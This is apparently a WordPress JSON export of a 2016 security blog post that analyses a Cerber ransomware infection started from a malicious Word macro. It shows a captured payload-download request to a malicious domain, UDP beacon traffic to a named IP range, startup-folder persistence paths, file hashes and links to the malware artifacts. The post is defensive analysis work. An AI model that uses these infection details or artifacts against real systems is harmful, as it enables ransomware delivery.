{"id":470,"date":"2016-05-07T00:03:18","date_gmt":"2016-05-06T23:03:18","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=470"},"modified":"2016-05-09T19:48:41","modified_gmt":"2016-05-09T18:48:41","slug":"2015-05-05-cerber-infection-from-malspam","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=470","title":{"rendered":"2016-05-05 Cerber Infection from MalSpam &#8211; UPDATED"},"content":{"rendered":"<p>Another day at the office and another malicious Word document sent to a user in hopes of them running the macro. From what I can tell from my investigation below this malware has been talked about over at <a href=\"http:\/\/isc.sans.edu\/forums\/diary\/Neutrino+exploit+kit+sends+Cerber+ransomware\/21017\/\" target=\"_blank\">SANS ISC via Brad<\/a> and looks to be a new type of ransomware called Cerber. With that being said, my investigation into this malware is WITHOUT any files being encrypted on my test VM and some of the other characteristics of this infection (my VM talking to me about it being infected).<\/p>\n<p>So after opening the Word document and enabling the macro, another file is created on the system (artifact called &#8220;1495.vbs&#8221; located in the C:\\Users\\%username%\\AppData\\Roaming folder). This is where the call to the malicious domain of bscprint[.]ro is made with no other HTTP traffic seen in the PCAP.<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/images\/karma-autumn\/bg-footer-bottom.jpg?ObIpcVG=21 HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Language: en-us\r\nRange: bytes=11193-\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\nHost: bsprint.ro\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 206 Partial Content\r\nLast-Modified: Wed, 04 May 2016 18:32:54 GMT\r\nContent-Type: image\/jpeg\r\nContent-Range: bytes 11193-407480\/407481\r\nContent-Length: 396288\r\nDate: Thu, 05 May 2016 17:34:19 GMT\r\nAccept-Ranges: bytes\r\nServer: LiteSpeed\r\nConnection: Keep-Alive\r\n\r\n,;.abaaaeaaa..aa.aaaaaaa!aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaao~.oa.h.@.`-.@5\t..A.......A......A..A...A..A%.2A....OllkEaaaaaaa1$aa-`ba..;2aaaaaaaa.ac`j`jaa.daaQaaaaaah.daaqaaa.daaa!aaqaaacaadaaaaaaadaaaaaaaaQgaaeaa.daaca!`aaAaaqaaaaqaaqaaaaaaqaaaaaaaaaaa..da.aaaaaga1Gaaaaaaaaaaaaaaaaaaa.da.faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaYtaa.`aaaaaaaaaaaaaaaaaaaaaaaaaaO....aaai.daaqaaa.daaeaaaaaaaaaaaaaaAaa.O..\r\n<\/pre>\n<p>After the HTTP GET request, the only other traffic we see is via UDP. If we look at &#8220;Protocol Hierarchy,&#8221; we can see that the vast majority of the traffic is over UDP (78.3% of the packets) with UDP Data being pretty much the same percentage as well (78.2%).<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-471\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG1.png\" width=\"1212\" height=\"560\" \/><\/a><\/p>\n<p>The interesting thing here is that this matches exactly what Brad saw in his SANS ISC post mentioned above &#8211; same 9 byte UDP call to the 85.93.0.0\/18 IP range via destination port 6892.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG3.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-473\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG3.png\" width=\"2175\" height=\"598\" \/><\/a><\/p>\n<p>The other thing that I noticed in the PCAP was the fact that multiple IP addresses from the 85.93.0.0\/18 network were trying to talk back to my VM via port 6892 as you can see below.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG4.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-474\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG4.png\" width=\"2172\" height=\"1157\" \/><\/a><\/p>\n<p>Shifting gears and looking at the test VM again; there is a flow of how this infection happens. Once the GET request from above is completed, it drops a file on the drive (claims it is an image\/JPG but on the filesystem but is something else &#8211; artifact named &#8220;4141&#8221; located in the C:\\Users\\%username%\\AppData\\Roaming folder). We then see see a file called &#8220;414145.tmp&#8221; (created in the same folder), along with a binary file (artifact called &#8220;dfrgui.exe&#8221; located in a different folder (C:\\Users\\%username%\\AppData\\Roaming\\{7ADA3648-8D91-1510-9D16-5D71081DE353}). From what it looks like, the two files are the same since the size and hash both match.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG5.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-475 size-full\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG5.png\" width=\"368\" height=\"502\" \/><\/a><\/p>\n<p>Once the binary file has been created in the C:\\Users\\%username%\\AppData\\Roaming\\{7ADA3648-8D91-1510-9D16-5D71081DE353} path, and the shortcut to start the process for persistance has been created in the C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup folder, the VBScript deletes the TMP file along with the binary file. At that time you are left with only the other 2 files (1495.vbs, and 4141).<\/p>\n<p>Below are the links to the files found from this infection on Virustotal and Malwr.<\/p>\n<p><strong>SHA1 Hash of 2j74-0786_b-m.dot<\/strong>: 34eb3204b985715834b042aaeb1d0571c9b897c9<br \/>\nSize of file: 318KB<br \/>\nVT link: NA<br \/>\nMalwr link: NA<\/p>\n<p><strong>SHA1 Hash of vbscript (1495.vbs)<\/strong>: 9c93e7298e57ea989324650f46423279187defaf<br \/>\nSize of file: 7KBKB<br \/>\nVT link: <a href=\"http:\/\/www.virustotal.com\/en\/file\/6c7a570b93f4f1415bdb720251e3389205e7f02320cb4d77c6e94a8a8b43d4a6\/analysis\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/6c7a570b93f4f1415bdb720251e3389205e7f02320cb4d77c6e94a8a8b43d4a6\/analysis\/<\/a><br \/>\nMalwr link: <a href=\"http:\/\/malwr.com\/analysis\/MDZkYzcyYWZiYzU5NDhlMjk1ZWY4NWQ5ZDUzYTVhMWI\/\" target=\"_blank\">http:\/\/malwr.com\/analysis\/MDZkYzcyYWZiYzU5NDhlMjk1ZWY4NWQ5ZDUzYTVhMWI\/<\/a><\/p>\n<p><strong>SHA1 Hash of TMP\/binary file (414145.tmp \/ dfrgui.exe)<\/strong>: 64e9a711d3d4a308ca8ed5cc210b96fe12540bc6<br \/>\nSize of file: 387KB \/ 387KB<br \/>\nVT link: <a href=\"http:\/\/www.virustotal.com\/en\/file\/c6f29582e489506ccb14f19fdfa7c169b363246a44b760484716e7a3e15b0fb9\/analysis\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/c6f29582e489506ccb14f19fdfa7c169b363246a44b760484716e7a3e15b0fb9\/analysis\/<\/a><br \/>\nMalwr link (for dfrgui.exe): <a href=\"http:\/\/malwr.com\/analysis\/MTE4Zjk2NTBmZGQwNGUxMGEzNGU1MmNlZTA4ZmU5M2I\/\" target=\"_blank\">http:\/\/malwr.com\/analysis\/MTE4Zjk2NTBmZGQwNGUxMGEzNGU1MmNlZTA4ZmU5M2I\/<\/a><\/p>\n<p>Virustotal also confirmed that this was a Cerber infection as you can see the results from the PCAP analysis here: <a href=\"http:\/\/www.virustotal.com\/en\/file\/be6f3d1cd427cc8f3dbaddb56850409a6f2972fc8c707919cbfa8f79e8e058ab\/alysis\/1462473755\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/be6f3d1cd427cc8f3dbaddb56850409a6f2972fc8c707919cbfa8f79e8e058ab\/alysis\/1462473755\/<\/a><\/p>\n<p>I created a video from my test VM that captured the malware as it was running over at <a href=\"http:\/\/youtu.be\/VpMVGhCKVtw\" target=\"_blank\">my YouTube channel<\/a>.<\/p>\n<p>Also, you can find the artifacts from this infection over here in <a href=\"http:\/\/github.com\/bloomer1016\/Malicious-Cerber-Word-Document-05-05-2016\" target=\"_blank\">my GitHub repo<\/a>. The zip file called &#8220;2016-05-05 Cerber Traffic.zip&#8221; is from my original infection of my VM. The other file called &#8220;2016-05-05 Cerber Traffic-2.zip&#8221; is from my second run of the malware to get the Process Monitor logs (which match up with the PCAP).<\/p>\n<p>**Update: So I found out the hard way that once you have exported the Process Monitor results from the native PML format to CSV, you can&#8217;t go back and Process Monitor will not import it back in. Also, Excel has a hard limit of how many rows it can read, so that route proved worthless. So when I went back and reran the malware again, I looked for the CMD process to see what was going on. Digging through that I came across this:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/Screen-Shot-2016-05-09-at-3.33.23-PM.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-487\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/Screen-Shot-2016-05-09-at-3.33.23-PM.png\" alt=\"\" width=\"1649\" height=\"742\" \/><\/a><\/p>\n<p>I am not sure what the deal is with a single PING to localhost though. Not sure if this is another check that the malware does to see if it is in a VM or something. It also looks as if it writes keys to t he registry long enough to make sure that the malicious binary starts up, and then starts deleting references to it.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Another day at the office and another malicious Word document sent to a user in hopes of them running the macro. From what I can tell from my investigation below this malware has been talked about over at SANS ISC via Brad and looks to be a new type of ransomware called Cerber. With that being said, my investigation into this malware is WITHOUT any files being encrypted on my test VM and some of the other characteristics of this infection (my VM talking to me about it being infected). So after opening the Word document and enabling the macro,&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=470\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-470","post","type-post","status-publish","format-standard","hentry","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/470","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=470"}],"version-history":[{"count":11,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/470\/revisions"}],"predecessor-version":[{"id":486,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/470\/revisions\/486"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=470"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=470"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=470"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}